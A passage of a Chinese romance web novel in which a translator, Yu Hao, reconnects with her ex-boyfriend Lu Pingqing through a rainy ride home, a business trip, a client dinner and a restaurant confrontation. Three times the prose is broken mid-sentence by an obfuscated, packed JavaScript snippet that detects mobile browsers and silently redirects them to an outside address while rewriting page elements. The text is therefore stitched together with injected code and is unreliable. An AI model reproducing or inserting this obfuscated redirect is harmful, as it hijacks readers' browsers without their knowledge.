“谢谢。”乔柏茁别扭道谢后加了余好的联系方式,把未完成的文件发给她才离开。 余好上传电脑后开始翻译。 虽说是俄语毕业,上学时也常常拿到奖学金,但上一份工作跟俄语不搭边,饶是从前再精通。 太久没接触到这么多专业词汇,对她来说也还是有些挑战的。 余好一边查文献一边翻译,办公室静悄悄,只剩纸张翻页时的唰唰声。 折腾近两个多小时才完成。 她仔细通读一遍,确定没问题后把文件发给乔柏茁。 对方在十几分钟后说下次请她吃饭,余好才松了口气走出电梯,回了个微笑的表情。 阵雨并没有如天气预报所说停止,反而下得倾盆,铅灰色的天空阴沉沉。 余好站在公司楼下打车。 这个时间段的网约车是抢手货,对面大街堵车都堵成长龙。 手机屏幕上的网约车软件还在排队。 【当前排队人数约为23,预计46分钟后为您……】 接近半小时都没有司机接单,余好犹豫着要不要冒雨回去。 可她今天穿了一双不能沾水的高跟鞋,价格贵,还得娇气保养。 来正宸面试那天买的,这么贵的鞋,她不忍摧残,毕竟价格摆在那。 不然,脱鞋光脚回家算了? 反正,这么大的雨,大概没人会注意到她的。 余好走到角落,蹬下高跟鞋,打算把鞋放进包里,身后玻璃门忽然打开,暖气扑到背部。 她吓得差点没站稳,陆凭青就这么出现,他手中一把黑色长柄伞。 眉眼携染淡淡疲倦,看见她拿着一双高跟鞋准备往包里塞。 脚下光着,一双纤白的脚光着踩在大理石地面上,凉意令她的脚趾微微蜷缩,他眉尾似乎跳了一下。 有些出乎意料看见她。 “要去哪?”陆凭青问。 4. -04- 余好眨眨眼,才确定陆凭青是在跟自己说话。 “回家。”她说出话后觉得有点干巴巴,又报了自己的小区名。 “打不到车?” 余好点点头,手上的高跟鞋放也不是拿也不是。 “嗯,这边好像很多人打车。” 陆凭青语气没什么波澜,从容不迫的态度跟工作时没什么区别:“CBD是这样,极端天气会比较难打车,下次提前预约会好点。我开了车来,送你一程。” 他要送她,余好是没想到的。 大概也是场面话,他从前何时喜欢多管闲事过。 “不用麻烦的,我走回去不算远。” “如果我没记错,跃进小区离这里步行也要半个小时,你确定要走回去?”看她错愕的神情,他眼角带了点笑意,“还是光着脚?” 也不知道在笑她幼稚还是什么。 “我不是……” “如果你不在乎因为感冒缺勤,被其他同事顶上周日的出差,可以继续站在这里等车。但机会不等人,贸贞这样好的项目在此后一两年内绝无仅有。”他堵住余好的话头。 余好咽下拒绝的话。 她来这是为什么,不就是为自己争一口气么。 得之不易的机会和跟前任暂时共处一辆车的尴尬算得上什么。 余好想通这个,深吸一口气,撑着墙穿上高跟鞋:“那,谢谢陆首席送我回去。” 陆凭青微不可觉抬抬眉稍,对她的称呼不做任何纠正,把手中的黑伞递给她。 余好下意识撑开伞跟上去。 陆凭青摁亮一辆白色宾利,她想去后座。 “后面杂物多,下不了脚,坐副驾。”陆凭青站在她身侧,淡声说。 余好顿了一下,坐进副驾驶。 雨下得比较大,啪嗒啪嗒敲打车窗,雨滴连成线泪痕似地一条条,匆匆滚落,车内冷清,没有放任何车载音乐和电台。 陆凭青专心做一件事的时候,会喜欢比较安静的环境。 这么多年,他似乎也没有改变很多。 余好的视线被车台上那个掌心大小的小物件吸引目光,依稀看得出是一小尊灰色猫咪的瓷器摆件。 造型歪七扭八,上色也不算好看。 等等—— 那东西,好像她和陆凭青热恋那会,她送他的。 再想定睛看清楚,就被陆凭青伸手拿起,关进车载抽屉里。 他看她一眼:“怎么。” “只是想看清那是什么东西。” “亲戚家小孩留下的玩具,忘记拿走了。”陆凭青单手转动方向盘,说得淡然。 余好点点头。 她想也是,陆凭青大概也不会念旧到连那种东西都留下。 车子驶过滩滩积水,绕进杂乱的老城区,导航的线路图交缠在一起,令人看得费解。 “走哪个方向?”陆凭青的声音从耳侧传来。 余好抬眼看前方的路况,指了指右边:“再往前开一点就好了。” 老小区水泥平房多,随机出现的小吃三轮车四处穿梭,车道本就窄,陆凭青开着车停停走走。 他一副不赶时间的样子,余好也不好意思说要下车。 前面的烤红薯小推车被几个小孩拦下,凑着钱要买几个,陆凭青只好停下车等待,余好看着有些想笑。 “出差的事情家里人知道吗?”他忽然问。 余好啊了一声,点点头:“知道的。” 陆凭青想起那天在咖啡厅见到的余好身边那个男人,有点讶异:“翻译助理出差很频繁,有时候还会比较突然,这样也没意见?” “应该要有什么意见吗?”余好不明所以蹙了蹙眉,没懂他的意有所指。 “这么包容么……”他的声音有些低,被后方来车的喇叭声掩过。 前面的小摊不知何时已经走了,余好没听清陆凭青的声音,只看见他的唇瓣动了动。 “你说什么?”她问。 陆凭青没回话,将车开到居民楼前院。 “E区13,是这一栋?” “是。”余好说了谢谢解开安全带。 陆凭青把后座的雨伞递给她,“一起带上去。” 她犹豫了一秒,接过伞。 他的东西,她明明不该拿的,可就那么鬼使神差的,她还是伸手了。 有他指尖的余温,余好撑着黑伞小跑进了楼道。 白色宾利迟迟没有开走,停在楼下。 静默几分钟,陆凭青半降车窗,从车载抽屉拿出烟盒,抖出一支烟。 风好大,泠冽得雨滴像冰点,打火机燃了两次才点亮烟蒂。 他轻吸一口香烟,眉心微动。 抽烟他是不常抽的,只是偶尔才犯瘾。 随意将烟盒放进抽屉,看见那个滚到最里面的摆件。 修长的手指拿着那个小玩意,拿在指尖,他细细看清楚。 一只会打盹的小猫,脸上的表情懒洋洋的。 【我还是有点艺术细胞的吧,你看,像不像学校那只流浪猫?】 【猫?余好,你仔细看看它到底像猫还是狐狸?】 【嗯,貌似真的有点像狐狸……不过,那又怎么了?反正我说是什么就是什么,这个东西呢就赏你了,你一定一定要放在身边,如果哪天让我发现它不在你的身边,我就永远不会再理你。】 【余好,你真幼稚。】 【呵呵,谁叫你喜欢我呢。】 回忆闪过的速度由不得任何人来得及抓住。 指尖的烟蒂不知何时燃到底,陆凭青掐了烟,把摆件放回原处,看着那只神态舒服的小猫摆件,陆凭青黑眸一闪而过寂寥。 她说的话她自己倒是忘得一干二净,唯有他记得透彻。 * 清晨的初阳透过薄云,余好在机场跟苏簌一群人碰面。 大家等在候机厅,集体沉默。 跟贸贞的项目负责人约了晚饭,三位首席翻译加上余好跟其他几个助理,就有八个人。 周希然迟迟未出现,只在昨晚临时建的微信群里发了消息,说再等她十分钟。 那微信是周希然建的,方便出差随时联系。 因着需要整理资料的关系,她主动加了陆凭青微信。 好友申请通过后,两人一句未聊。 余好这会儿坐在椅子上愣神,鬼使神差点进陆凭青的朋友圈。 他用的默认头像,名字也是真名。 不常发朋友圈的人,里面只有三两条关于公司的活动链接,做任务似的完成。 唯独他的个性签名,还是从前的。 余好很熟悉的一句俄语。 「人即其所信之物」 大意讲一个人相信什么,信仰什么,他的本质就是什么。 “昨晚没睡好吗?黑眼圈快掉地上了。”苏簌看她有点倦意的样子,随口玩笑。 余好心下一颤,匆匆锁屏后摇头,抿唇淡笑:“有点紧张。” “紧张到失眠啊,”苏簌笑,抬手揉揉她的肩,“放松点,这就紧张了,以后的项目怎么办,上飞机了好好休息一会儿。” 余好点点头,猝不及防看见陆凭青的视线波澜不惊落在她身上,停之几秒后又移开。 他穿经典深色西服,气质出众,加上身高原因,站人群中挺扎眼的。 这人跟来机场走秀似的。 余好心想。 临登机前,周希然姗姗来迟,跟几个首席打了招呼后,大家起身往登机口去。 周希然挽住余好的胳膊跟她耳语:“差点睡过头了,还是给司机多加了钱才赶过来的。” “那你吃早饭了吗?我包里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677566|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛奶跟苏打饼干。”余好一边说一边打开包把东西递给她。 “哇,简直救命之恩,榕安线的航空餐特别不好吃,我还是宁愿吃这个。” 周希然往嘴里塞一块饼干,神采奕奕的样子让余好不惊失笑。 位置是随机的,大家的座位号打得很散。 周希然在起飞前把一份资料给余好:“贸贞的基本信息,我这几天整理的,晚饭之前看看,摸清对方底细,才能百战百胜。” 余好就这样拿着资料去找位置。 刚坐下就开始犯困。 昨晚没怎么睡得着,她有个坏毛病,次日一旦有什么待办事情,就很容易失眠。 翻来覆去的睡不着,后来怕耽误,干脆凌晨五点就出发在机场等着。 闭眼小寐时,有人来问她是否可以换个位置。 被拆散的是对年轻情侣,看起来正读大学的年纪,女孩指着陆凭青旁边的位置,甜甜地开口: “姐姐,我们本来想买在一起的可是连座票太贵了,麻烦你跟我男朋友换个位置好不好?我看你跟那位帅哥是一起来的,你们坐一起应该也会方便一点吧。” 余好没解释,实在拒绝不了那个女孩期盼的眼神。 不是没想过会尴尬,但真坐到陆凭青旁边才发觉自己一整颗心都提了起来。 他的指尖在键盘上轻敲,工作一刻不停。 余好不方便补觉,怕自己睡着把他当人形抱枕。 睡姿不好,是老妈从小就吐槽她的一点硬伤。 起飞时正好八点整,从小窗看天空有浓白云层,一朵一朵堆叠在一起,碧空白云,肉眼可见的震撼。 难得的好天气。 拿着飞机上提供的日报看起来,从国际形势到地区天气,她看得认真。 陆凭青见余好仔细拿一张报纸阅读,想到高中课堂,余好总是立着课本,放一本手掌书偷看。 那时候学校外面还流行租书,一本几角到几元不等。 就在一中校门口那家窄小的书店,每每走过都能看见年迈的老爷爷整理书架。 余好是那家书店的常客,她一次就租好几本,少女漫画,恐怖故事,她好像除了课本外的书都看。 有次,余好被从后门进来的年纪主任抓了现形,从她书包里抖出一大堆课外书,脸都绿了。 怒不可遏指着走廊让她站出去丢脸。 那时陆凭青也不过才刚记熟全班同学的名字,哪怕对余好这个同桌,他也没有过多记忆。 身后的同学讲小话,不知谁说了一句:“余好真是个怪人,这样也笑得出来。” 陆凭青这才黑板上移开视线,看向前排的窗户边。 穿着明黄色娃娃领衣服的女孩,绑着马尾,站在窗边,低头有模有样开始装乖做笔记,抿着唇,脸颊有个小小的梨涡。 她似乎不懂得什么叫丢脸。 等年级主任离开后,她才跟窗台边同她说话的人尴尬地吐了吐舌头。 那是节什么课?陆凭青已经记不太清了。 只记得阳光明媚的天气,余好穿着一件黄色裙子被罚站,她唇红齿白在笑,逆着光,阳光活泼地在她细软的发丝跳跃。 他头一次觉得那个他千不愿万不愿来的学校,并没有自己想得那么不堪。 * “先生,先生。”有人轻声唤着陆凭青。 他抬眼,唇边笑意渐淡,看见空姐拿着一条毛毯问他是否需要。 飞机轻轻颠簸一下,余好歪着头已经睡熟。 他伸出左手,接过那张毛毯,低声道了谢。 空姐静声离开,陆凭青把毛毯盖在余好身上。 他的动作很轻,刻意地放缓,怕惊醒熟睡的人。 她大概是有点冷的,手抓着毯子,换了个舒服的姿势,向左偏头,余好结结实实靠在陆凭青的肩上。 5. -05- 陆凭青自然将肩膀向她的方向倾斜。 他合上电脑,闭眼休息。 余好发间的淡淡馨香于是萦绕在他鼻尖,那样似有若无的栀香味。 一别经年,她的习惯依旧没变。 香味是最能轻而易举就能勾起人回忆的东西,陆凭青对这一点不置可否。 微甜的,带一点温馨,轻得像是遥远的,悠久的时间尽头漂浮而来的香味,仅仅一瞬间,就要把他拉回高考毕业后的那个夏天。 出国和去国内顶尖理工大学两种最优选择摆在他面前。 不管再怎么成熟,陆凭青那时也只是个刚成年的少年,人生的分叉路口,选任何一条路他或许都能应付,只是看见分数那一刻,他忽然想起余好。 她会去哪所学校,南方还是北方? 莫名其妙地,他打开Q.Q找到那个可怜巴巴背着书包的卡通兔子头像发去消息:【余好】 她是在线的,不过隐身了。 陆凭青这一条消息就将余好炸出来了,她灰扑扑的头像立马亮起来。 网瘾少女鱼鱼鱼:【我在,怎么了?「疑问」「疑问」】 L:【你查分数了?】 网瘾少女鱼鱼鱼:【查了,我妈说我这破成绩考二本都悬。正在被训呢,我可能要复读了陆凭青,哎,不能跟你们一起上大学了,可悲可悲「流泪」】 陆凭青当下心猛然被人攥了一把:【?我记得三模的时候,你的总分上了五百,是不是哪个环节出错了,我陪你去问蒋老师】 网瘾少女鱼鱼鱼:【骗你的啦,哈哈哈,532!!余好高三有史以来最高分数,感谢一中感谢蒋老师感谢陆凭青「感恩」都是有陆老师的引导,我才能考这么高的】 余好拍彩虹屁拍得顺溜,她数学差得要死,不及格到次次良好,还真是多亏了陆凭青孜孜不倦的讲解。 她的成绩,他有功劳。 余好发来一张照片,是电脑上的查分页面,因为激动拍得有点模糊但是还能看清分数。 陆凭青不知为何,松了一口气。 L:【想好报哪所学校了?】 网瘾少女鱼鱼鱼:【没有,我妈这次难得让我自己选,我问了老孙和茉茉,他们都有自己想去的学校,老孙要去军校,茉茉去学美术,跟我想的一点都不搭边,我看了一天的择校册都没想好,你呢?】 陆凭青正要回复,余好又紧跟问他:【算了,不讲这个了,明天一起去看电影吗?我买了两张电影票,本来想叫茉茉一起的,结果她家里人说要带她去澳大利亚毕业游。穷人落下悲伤的眼泪「心碎」】 陆凭青忘记自己回了什么,总之,那一天,他和余好去看了那一场意料之外的电影。 是一部喜剧片,余好那天穿了一件水洗蓝牛仔裙,化了淡淡的妆。 少女的发丝柔顺垂下,丝绸般顺滑的黑色,淡蓝色的眼影,白皙的皮肤,小巧的五官,她看电影时,弯弯浓密的睫毛因为大笑的动作,一颤一颤的,陆凭青看见她眼皮上细细的,不易察觉的闪粉。 她笑得唇红齿白,嘴里嚼着爆米花,目光盯着前方,水浸过的黑眸明亮,透澈。 “怎么了?”她歪歪头,耳朵凑过来问他。 “余好,去榕城的外国语大学吧,你的分数完全够,市场对外语言专业的毕业生供不应求,我查过……” “为什么啊。”她当他一时起意,继续对着电影屏幕笑得花枝乱颤。 “因为我打算去那里。” 余好似乎是僵了几秒,然后错愕而不可思议的转过头,影厅里的光线在那一刻忽然亮起。 陆凭青轻轻在她的唇角碰了碰,她睁大眼,没有任何动作。 心跳声却清晰可闻。 他看见她的表情从疑惑到震惊,他郑重其事,在旁人欢笑声中,在余好耳边轻声说: “因为,我想跟你去那里。” ** 飞机临近落地时,余好似有预感地醒来。 她睡得很沉,脖子有点难受,右手捏了捏后颈,余光看一眼陆凭青。 旁边那人正闭着眼,五官深邃好看,鼻尖高挺,也不知道睡着了还是没有。 “看什么?”他毫无征兆睁开眼,跟余好对视。 余好:“……” “我刚刚睡觉没吵到你吧?” 陆凭青眉梢轻挑:“?” “比如,磨牙,打呼噜之类的。”她睡觉的习惯是不太好了,也不知道有没有出丑。 他鼻尖逸出一丝轻笑,“嗯。” 看她右脸在他肩上压出来的浅浅痕迹,陆凭青勾勾唇角,“挺大声的,不过不是吵到我,是前排的小朋友,我听见——” “她问她妈妈,谁在看小猪佩奇。” 挺大声的。 挺、大、声、 余好顿时石化。 她看着前面那个扎着小辫子,脑袋一歪一歪哼着儿歌的小女孩,尴尬得嘴角一抽。 宜安这座城市邻海,以每日成千吨出口的海鲜出名。 一座难求的五星级酒楼「珍味坊」是提前预定好的位置,十二座的雅厅包间,菜品按照最高规格上。 旋转餐桌上,蓝鳍金枪鱼刺身,清蒸大闸蟹,扇贝粉丝……道道摆盘精美。 都是依循本地人口味来的,宜安人喜欢吃食材本味,最好烹制时连盐都少放,一人碗边一小碟酱油,吃时蘸取。 余好不怎么爱吃原汁原味的海鲜,除了油焖虾,她只小口吃青菜。 贸贞的负责人叫赵德满,年过半百的中年男人,笑起来憨厚,小眼大嘴,眼角处皱纹颇深,穿简单深灰色Polo衫,黑色外套。 “你们怎么都只吃菜不喝酒的,你叫小余是吧,来,喝杯白酒热热身,这冬天易积寒,喝点酒更好。”赵德满无酒不欢,端着酒杯就放到余好面前。 白酒,满满一杯。 她手指正要碰到玻璃杯,就有一只手先她一步端过杯子。 “不好意思赵总,正宸有硬性规定,饭局不允许女员工喝酒,你要喝酒,我跟司翻译陪你喝,至于其他,请见谅。”陆凭青说完,先发制人一饮而尽。 余好看着陆凭青连眉头都未皱分毫的样子,心下隐隐有落空的感觉。 什么时候,他已经练就这样的本领。 从前再如何厌恶的酒味,现在竟然也能面不改色咽下。 赵德满本就不是要为难谁,有人陪他喝酒,他乐得自在。嘴里说着理解理解,然后很健谈的开始举着酒杯从自己的白手发家史讲到宜安人对吃的讲究。 “人这辈子就活明白两个字,欸,吃好,对咯,都讲民以食为天。我们宜安好吃的可就多了去了,除了海鲜,还有桂花酿,酱香豆腐。我老家那边还有种野菜凉拌很香,叫苦麻菜,你们应该是没吃过的……” 一锅滚烫,香气扑鼻的虾蟹粥上桌。 米饭久熬的喷香依附着海鲜的淡淡鲜甜味儿漂浮而来。 饱满的五常大米和新鲜捕捞的虾蟹炖煮软烂,丝滑入口,鲜味直冲眉毛。 陆凭青吩咐侍应生给赵德满盛粥。 陆凭青:“特意让后厨最后上的砂锅虾蟹粥,赵总尝尝,看看这份粥算不算得上合格。” 喝多了酒话也就多了,拒绝侍应生的服务,非要站在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677567|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边亲自舀粥。 “说起这虾蟹粥啊,就属珍味坊做的最好吃。这一碗我是千金万银都不换的,前些年我也去过很多临海城市,都没有珍味坊做出来的虾蟹粥好吃,于是我就好奇啊,去问经理怎么能做出一模一样的味,结果你们猜怎么着?”他歪身问苏簌。 苏簌摇摇头,笑说:“这我还真不知道,赵总,你快仔细跟我们大家讲讲,到底怎么做的?” 赵德满故作玄虚又看向另一边端坐喝粥的陆凭青。 “陆翻译你知道吗?” 陆凭青搁置碗碟,有理有节,淡笑:“陆某对吃了解甚浅,这个恐怕还是需要赵总亲自回答。” “经理就告诉我,要往里面加鸡油,农家乐散养那种走地鸡熬油最是增香。再就是酒,酒嘛,酒也是要挑的……” 赵德满一个酒嗝上来,整个人有点微醺。 男下属眼疾手快起身扶住他,“赵总,你喝醉了,要不今晚就到这里,我替你叫个代驾回去。” “欸欸欸,说的什么扫兴话,我们都没喝尽兴,回什么回,”赵德满伸手挡住下属的搀扶,去拿桌上的高粱酒,“像这种当然是不行的,得花雕酒,花雕酒配虾蟹才鲜啊。” 他说着又往陆凭青和司幸来杯中添酒,两个人陪他喝了几杯。 推杯换盏间,苏簌看气氛不错,将话题不着痕迹转圜到工作上。 “赵总,我们这次来除了请您吃饭,还想问问贵公司关于新项目的发展进度,如果还没确定合作方,是否可以考虑我们正宸。” 赵德满置下碗筷,点点头:“我知道你们都为DL86来的,都是熟人,我就不绕圈子了。正宸确实是个不错的考虑对象,但是这个项目还有其他好几家公司也来争取过。包括书途,启译这些不输正宸的大公司,同等条件下,当然就是在商言商,利高者得。” “书途也馋这块肉,”司幸来眸光落于杯中酒上,抬眉淡笑,倾身在陆凭青耳边轻声道,“动作还挺快的,看来这次有得争了。” 陆凭青仍面色淡然:“赵总,我们既然来了,肯定是做了准备的,不如你先看看我们的条件,再决定要不要考虑正宸。” 陆凭青一记眼神,助理陈臻就起身,把项目递给赵德满。 计划书往后细翻,赵德满推了推眼镜,镜片后的眼中闪过诧异,半信半疑:“纯收益让利百分之三,还愿意帮我们和伏尔加牵线搭桥?” 归属地为俄罗斯的伏尔加公司,国内多少家图书公司都梦寐以求的俄书版权持有方。 陆凭青浅笑,游刃有余:“当然,伏尔加近几年有很强烈与内陆图书公司合作的想法,如果贸贞愿意将DL86诗歌项目的翻译独家版权交由我司,正宸十分愿意与贵公司达成双赢,贸贞负责谈版权,我司负责翻译,一起揽下伏尔加关于内陆市场的合作。” 赵德满沉默片刻,闷头喝了一杯白酒,才说: “我看陆翻译这条件,国内其他图书公司大概也给不出来了。这样吧,今天就到这里,明早八点,合同的事情来公司详谈。毕竟我一个人也不能擅作主张,还是需要其他几位经理共同决定的。” 赵德满这样说,算是松口了。 “好的赵总,明天我们一定准时到。”苏簌起身,其他助理跟着站起来准备送客。 赵德满立马抬手拒绝:“不用送,就到这里,今晚谢谢你们的招待。” 他走时,拍拍陆凭青的肩,轻声笑说:“你这年轻人,后生可畏啊。” 陆凭青为他开门,坚持送他出去。 外头走廊熙熙攘攘的,余好仍能隐约听见陆凭青的谦虚应承:“哪里,赵总言重了。” 6. -06- 目送几位首席走远,周希然走到余好旁边,低声跟她耳语:“小余姐,陪我去趟卫生间吧。眼睛好不舒服,又涩又痒的,我去把隐形眼镜摘下来。” 余好拿起座位上的大衣外套,“好。” 跟旁人打了声招呼后,两人找服务生问了卫生间的位置。 初冬的傍晚,还是有些凉意的。 一阵风吹过来,余好想起南临的冬天,这个时候,那边大概还是能穿短袖的季节。 周希然站在洗手台的镜子前,轻车熟路摘美瞳,余好站在旁边看她卸妆,捧起凉水就生猛地往脸上扑,从包里抽出几张湿巾要往脸上擦。 余好忍不住问她:“不难受吗?” “还好,都习惯了。我从小这么过来的,我家住农村来着,小时候洗脸都是井水,高中那会为了赶时间复习,晚上还用冷水洗澡来着,结果也是擦着线考的一本,后来工作了还是冷水洗脸。”周希然平静说着,没觉得有什么。 余好眉头微微拧起,为她的经历感到心疼。 余好家境不错,从小到大没饿过一顿。 姥姥特别宠她,余好想吃什么,哪怕念叨一声,老太太就会做好,第二天送到她家去。 温饱她没担心过,更别说冷水洗澡,不敢想是怎样的刺骨。 “哎呀,小余姐,又不是什么大事,你跟着皱什么眉。”反倒是周希然笑嘻嘻安慰她。 “总用冷水对身体也不好,你……” 周希然笑着点头,一副拿她没办法的样子:“好了好了,我知道的,以后都用热水好不好。小余姐,你真该去当幼师的,什么都操心,当幼师最适合你了。” 嘟嘟— 两人的手机同时响起,助理群里有人发来微信消息。 周希然微微仰着下巴,凑在镜子前卸睫毛膏,看了一眼手机说:“好像是陈助理发的,小余姐,你看看他说什么了。” 余好点进微信,看见陈臻艾特了所有人。 陈臻:【@所有成员,辛苦大家加班到现在,公司叫了专车在外面等着,想回去休息的可以先回酒店。还有精力的可以去逛逛三花广场,就离珍味坊十几分钟车程。我们来得巧,宜安这几晚有打铁花表演,想去看的公司也全权报销】 “三花广场那边有表演,问我们要不要去看看。” 周希然低着头把东西全放进包里:“不去了吧,累都累死了,赔笑一整天脸都僵了。今晚领导都站那,我吃都没怎么吃,感觉还是很饿,总觉得尴尬,我们回酒店点外卖呗。” “好啊,听说有家连锁店的夜宵还不错。” 余好话刚落音,周希然忽然紧盯着她身后的走廊,手提包往她怀里一塞,面色不怎么好的说了句:“小余姐,我好像看见熟人了,去看看,你在这等我一会。” 周希然就这么跟着与他们擦肩而过的一对男女下了楼。 【我其实也谈过男朋友的,他是宜安人,做软件的,戴个眼镜,可温柔了,什么事情都依着我,最开始认识的时候觉得这世界上再也不会有他这么顺着我的人了。不过我们三个月前就分手了,谈了四年,我还是从朋友那才知道他在老家都订婚了。】 余好想起周希然之前说过的话,愣了一下快步跟上。 周希然脚步匆匆朝那对年轻男女快步走过去,路过酒柜时,拿了两瓶最低价的啤酒。眼看着人结完账要走了,她顾不得那么多,开了酒盖,拎着酒瓶就要找人麻烦。 被服务生仓促拉住:“小姐,你还没给钱,两瓶酒二十八块。” 周希然掏出一张钞票豪气拍在桌上,“不用找了。” 几步走到那个正为女伴开门的年轻男人身后。 “张诠安。”周希然声音平静中带着孤注一掷。 原本脸上挂着笑的男人毫无准备回过头,还没来得及看清楚人就被当众兜头浇了两瓶酒。 “啊——” 不明所以的女人尖叫一声,大厅的客人和服务生都往这边看过来。 张诠安摘下眼镜,单手抹了一把脸上的酒渍,怒气冲到一半,看见让自己当众出丑的人,又不知为何忽然心虚地降下音调,“周……希然?” “是你姑奶奶我。”周希然冷笑,目光落在拿着手帕温柔为张诠安擦拭脸部的女人脸上。 周希然冷静的声音里参杂嘲讽:“这就是你说的表妹?” “周希然。”他试图制止她。 “千方百计跟我分手也要在一起的表妹?”周希然不屑地轻哼一声。 “够了,你别胡说。” “你都做得出来,不让人说了?” 张诠安不轻不重推了周希然一把:“疯子。” 余好赶来的时候正好看见这一幕,她上前扶住周希然。 “没事吧?” 周希然牵强对她扯扯嘴角:“小余姐,我没事。” 张诠安身边的女人柳眉微皱,充满疑惑开口:“诠安,她是谁啊?” 周希然眼眶泛红,含恨看着两人:“张诠安,你告诉她啊,我是谁。” 她不明白,从前千言万语的承诺,怎么一转眼就是这样的面目可憎。 “她是我……”张诠安抬了抬眼镜,看见周围一堆人站着,有些底气不足解释,“一个朋友。” “你这朋友怎么这样啊,莫名其妙的。”女人不满地瞪着周希然。 后者只是笑了一下,抬起头把眼泪憋回去。 周希然看着面前这个虚伪无比的男人,觉得自己很可悲:“半年前我生日,我朋友说看见你跟一个女人一起逛街,你说是表妹,我还对你百般信任。其实你那时候就出轨了吧,一边跟我说再过几年就结婚,一边已经在老家摆了订婚宴,我还蠢到每个月去省那点通勤费,就为了我们能在这个城市安个家,你倒好,脚踏两条船的时候毫不心虚。” 她越说越激动,胸口剧烈起伏,牙关都在颤抖。 余好同仇敌忾看着那人,一字一句为周希然控诉: “张诠安,你怎么不说实话。敢做不敢当了吗?连希然是陪你吃白水挂面,陪你馒头配榨菜,一步一步好不容易熬到现在这个位子,又被你一脚踹开的前女友,这样的话,也说不出口吗?” 看戏的人低声讨论起来,甚至有人已经拿出手机录视频。 “渣男见多了,渣成这样还真是第一次见。” “这他妈凤凰男也能找到女朋友,也是绝了。” “这女人也是不挑,什么破烂都收。” - 什么不堪入耳的话都蹦出,一句比一句难听。 张诠安身边的女人甩开他的手,怒气冲冲质问:“她说的是不是真的?!” “漫漫,你别听他们胡说。” “不,你别碰我,我嫌脏,”女人后退一步,“我看我们暂时还是不要在一起了,你处理好这些再说吧。”她推门而出,张诠安紧跟着要追上去,被周希然拉住了。 “你到底想干什么。” 啪! 清脆的一个耳光,周希然红着眼给他的。 张诠安舌尖顶顶腮帮,脸上指印清晰可见。 “要玩硬的是吧,行,这是你们逼我的。”张诠安拿过酒瓶用力朝余好挥过去。 眼睁睁看着那酒瓶就要落下,余好条件反射闭上眼。 可是,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677568|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有想象中的疼痛到来。 有人在关键时刻用力拉了余好一把,她反应过来时,只听见耳边闷哼声传来。 “陆首席,你怎么来了——”周希然惊讶的低呼。 陆凭青…… 余好猛然睁开眼,看见站在自己身前的高大身影和错愕不已的张诠安。 他就是想吓吓人,谁知道真闹出事了。 余好张着嘴,什么也说不出。 只怔怔看着陆凭青额角正流着血,腥红血液从脸颊滑到紧绷着的下颚,最痛也不过皱了下眉。 她鼻尖一酸,轻声道歉:“对不起。” 陆凭青呼吸有些重,侧头看她一眼,看见她还发蒙的样子,只喉结动了动,什么也没说。 陈臻晚来一步,看见陆凭青这样,连忙上去递纸巾:“老大,你这是……” “没事,叫个车送我去医院,再找人送两位助理回酒店,”陆凭青看了一眼惊魂未定张诠安,“这个人,交给公司法务部解决。另外,今晚的视频最好不要流出去,影响不好。” 陈臻在旁边连连应承,陆凭青长腿一跨,从众人面前走过。 余好想跟上去的,却又不太放心周希然,只能先带她回酒店。 周希然坐在床沿,流着泪,双眼肿胀,失魂落魄问余好: “小余姐,我是不是害了你和陆首席。” 她愧疚得不知如何是好。 余好心疼地摇摇头:“没这回事,这种事情谁能料到?归根究底也不是你的问题。好好睡一觉,其他的我们起来再说。” “好。”她不再说话,侧过身睡进被窝。 看着周希然熟睡后,余好才轻手轻脚出了门。 她去楼下商圈买了一份粥和清淡夜宵,走过水果店,又停住脚步挑了一份果篮。 问陈臻要医院地址,对方说陆首席已经回酒店了。 余好沉思片刻,又问他要了陆凭青的酒店房间号。 她是打车过去的,站在房间外犹豫很久,才抬手敲门。 里面沉重的脚步声由远及近,果篮差点从手中滑落,余好回过神,稳稳抓紧手柄。 下一刻,门开了。 陆凭青穿一件白衬衫,扣子扣到最上面一颗,黑西裤衬出笔直长腿。 发梢微微湿润,碎发随意遮住眉眼,睫毛半垂,有点儿病态和阴郁,禁欲清冷。 额角用纱布贴住,伤口做了简单处理。 “你还好吗?”她问出口的时候,没什么底气。 过后怎么品怎么觉得像挑衅。 陆凭青闻言,往她手中的袋子上看了一眼。她大包小包提了一堆东西,看病人的样子倒是做得齐全。 他促狭笑说,“没到生活不能自理那一步,不用这么夸张。” 余好:“……我买了李记的小米南瓜粥和鸡蛋饼,吃一点吧。” 她记得陆凭青晚上喝了挺多酒的,他本来胃就有点毛病,这会儿不吃点清淡的东西,怕是会不舒服。 余好刚要把东西给他,看见他房间有个开放式厨房。 岛台,咖啡机,还有……微波炉。 